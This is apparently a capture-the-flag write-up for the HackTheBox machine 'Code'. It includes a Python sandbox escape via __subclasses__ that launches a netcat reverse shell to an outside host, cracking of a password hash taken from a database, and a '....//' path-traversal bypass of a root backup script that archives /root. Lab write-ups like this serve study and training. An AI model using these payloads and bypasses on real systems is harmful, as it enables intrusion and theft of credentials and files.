Post

HackTheBox - Code

HackTheBox - Code

This a pretty straightforward machine that focuses on how to bypass pyjail as well as the ability to read a bash script.

recon

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
# Nmap 7.95 scan initiated Sun Mar 30 13:24:58 2025 as: /usr/lib/nmap/nmap --privileged -sC -sV -vv -oN nmap.scan 10.10.11.62
Nmap scan report for 10.10.11.62
Host is up, received echo-reply ttl 63 (0.18s latency).
Scanned at 2025-03-30 13:25:09 EDT for 15s
Not shown: 998 closed tcp ports (reset)
PORT     STATE SERVICE REASON         VERSION
22/tcp   open  ssh     syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 b5:b9:7c:c4:50:32:95:bc:c2:65:17:df:51:a2:7a:bd (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCrE0z9yLzAZQKDE2qvJju5kq0jbbwNh6GfBrBu20em8SE/I4jT4FGig2hz6FHEYryAFBNCwJ0bYHr3hH9IQ7ZZNcpfYgQhi8C+QLGg+j7U4kw4rh3Z9wbQdm9tsFrUtbU92CuyZKpFsisrtc9e7271kyJElcycTWntcOk38otajZhHnLPZfqH90PM+ISA93hRpyGyrxj8phjTGlKC1O0zwvFDn8dqeaUreN7poWNIYxhJ0ppfFiCQf3rqxPS1fJ0YvKcUeNr2fb49H6Fba7FchR8OYlinjJLs1dFrx0jNNW/m3XS3l2+QTULGxM5cDrKip2XQxKfeTj4qKBCaFZUzknm27vHDW3gzct5W0lErXbnDWQcQZKjKTPu4Z/uExpJkk1rDfr3JXoMHaT4zaOV9l3s3KfrRSjOrXMJIrImtQN1l08nzh/Xg7KqnS1N46PEJ4ivVxEGFGaWrtC1MgjMZ6FtUSs/8RNDn59Pxt0HsSr6rgYkZC2LNwrgtMyiiwyas=
|   256 94:b5:25:54:9b:68:af:be:40:e1:1d:a8:6b:85:0d:01 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBDiXZTkrXQPMXdU8ZTTQI45kkF2N38hyDVed+2fgp6nB3sR/mu/7K4yDqKQSDuvxiGe08r1b1STa/LZUjnFCfgg=
|   256 12:8c:dc:97:ad:86:00:b4:88:e2:29:cf:69:b5:65:96 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIP8Cwf2cBH9EDSARPML82QqjkV811d+Hsjrly11/PHfu
5000/tcp open  http    syn-ack ttl 63 Gunicorn 20.0.4
|_http-server-header: gunicorn/20.0.4
|_http-title: Python Code Editor
| http-methods: 
|_  Supported Methods: GET OPTIONS HEAD
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Mar 30 13:25:24 2025 -- 1 IP address (1 host up) scanned in 26.33 seconds

So only two ports are open.

port 5000

On accessing this page we get a python interpreter image This is most likely a Pyjail case but I tried to dns and subdomain enumeration just in case, but as expected nothing interesting.


Initial foothold

Escaping the pyjail

I tried multiple reverse shell codes to get an access on the machine but I get back Use of restricted keywords is not allowed.\

So, how to espace it? I stumbled across this post explaining how to weaponaize the __subclasses__ function to traverse the python class hierarchy in order to access other modules.

after trying different things I came up with this

1
().__class__.__base__.__subclasses__()[317](["/bin/bash", "-c", "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.16.55 4444 >/tmp/f"])

Index 317 is referencing to subprocess.Popen, which allows spawning system processes.

after trying this we get a shell as app-production image and the user flag is right there.


Getting shell as martin

I noticed that there was another user martin but I cannot access it with the app-production privileges. So I started to explore the files under the app directory and I found a file called database.db. I downloaded it on my host machine and opened it using sqlite3 image and got a hash for martin. went to crackstation and I got the martin password.

SSH into the machine using martin password image


PrivEsc

I got in and there was a directory called backups which got some compressed files and a task.json. I viewed this file

1
2
3
4
5
6
7
8
9
10
11
12
{
        "destination": "/home/martin/backups/",
        "multiprocessing": true,
        "verbose_log": false,
        "directories_to_archive": [
                "/home/app-production/app"
        ],

        "exclude": [
                ".*"
        ]
}

I started to think that might be a script that compress these files, so I tried sudo -l and indeed there was a script that I can run as root. image

examining backy.sh:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
#!/bin/bash

if [[ $# -ne 1 ]]; then
    /usr/bin/echo "Usage: $0 <task.json>"
    exit 1
fi

json_file="$1"

if [[ ! -f "$json_file" ]]; then
    /usr/bin/echo "Error: File '$json_file' not found."
    exit 1
fi

allowed_paths=("/var/" "/home/")

updated_json=$(/usr/bin/jq '.directories_to_archive |= map(gsub("\\.\\./"; ""))' "$json_file")

/usr/bin/echo "$updated_json" > "$json_file"

directories_to_archive=$(/usr/bin/echo "$updated_json" | /usr/bin/jq -r '.directories_to_archive[]')

is_allowed_path() {
    local path="$1"
    for allowed_path in "${allowed_paths[@]}"; do
        if [[ "$path" == $allowed_path* ]]; then
            return 0
        fi
    done
    return 1
}

for dir in $directories_to_archive; do
    if ! is_allowed_path "$dir"; then
        /usr/bin/echo "Error: $dir is not allowed. Only directories under /var/ and /home/ are allowed."
        exit 1
    fi
done

/usr/bin/backy "$json_file"

So this explains why there is some archives in backups directory. if we can manage to get the script to archive the directories under /root we will be able to read the root flag.

But it only accept archiving from /var and /home AND escaping ../ to prevent directory traversal.

I tried to write this to task.json and it worked!

1
2
3
4
5
6
7
8
 {
   "destination": "/home/martin/backups/",
   "multiprocessing": true,
   "verbose_log": true,
   "directories_to_archive": [
     "/var/....//root/"
   ]
 }

I added extra ../ to bypass the check of directory traversal and used /var approach to bypass the check for /var or /home path image unzip the code_var_.._root_2025_March.tar.bz2 file and read the root.txt image Additionally, I could have read the .ssh/id_rsa to SSH as root.

This post is licensed under CC BY 4.0 by the author.